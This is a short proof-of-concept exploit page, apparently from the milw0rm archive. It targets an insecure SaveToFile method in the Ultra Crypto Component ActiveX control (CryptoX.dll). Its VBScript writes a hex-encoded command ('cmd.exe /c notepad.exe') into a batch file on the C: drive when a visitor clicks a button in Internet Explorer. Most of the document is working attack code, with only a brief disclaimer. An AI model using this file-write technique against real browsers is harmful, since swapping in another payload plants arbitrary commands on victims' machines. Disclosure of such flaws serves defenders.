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37 lines
No EOL
1.4 KiB
HTML
<pre>
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<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-------------------------------------------------------------------------------------
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<b>Ultra Crypto Component (CryptoX.dll <= 2.0) "SaveToFile()" Inscure Method</b>
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url: http://www.ultrashareware.com/
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author: shinnai
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mail: shinnai[at]autistici[dot]org
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site: http://shinnai.altervista.org
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This was written for educational purpose. Use it at your own risk.
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Author will be not responsible for any damage.
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Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
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all software that use this ocx are vulnerable to this exploits.
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<b>We can use the "HexString()" method to save into our batch file some lines.
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In this PoC, I convert "cmd.exe /c notepad.exe" in hexadecimal format, then
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I save it in a batch file :)</b>
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-------------------------------------------------------------------------------------
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<object classid='clsid:FD22F3AE-1450-4BDC-ADBE-6AF210A78C2C' id='test'></object>
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<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">
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<script language='vbscript'>
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Sub tryMe
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Dim MyMsg
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test.HexString = "636D642E657865202F63206E6F74657061642E657865" 'cmd.exe /c notepad.exe
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test.SaveToFile "c:\shinnai.bat"
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MyMsg = MsgBox("Exploit completed!")
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End Sub
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</script>
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</span></span>
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</code></pre>
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# milw0rm.com [2007-09-10] |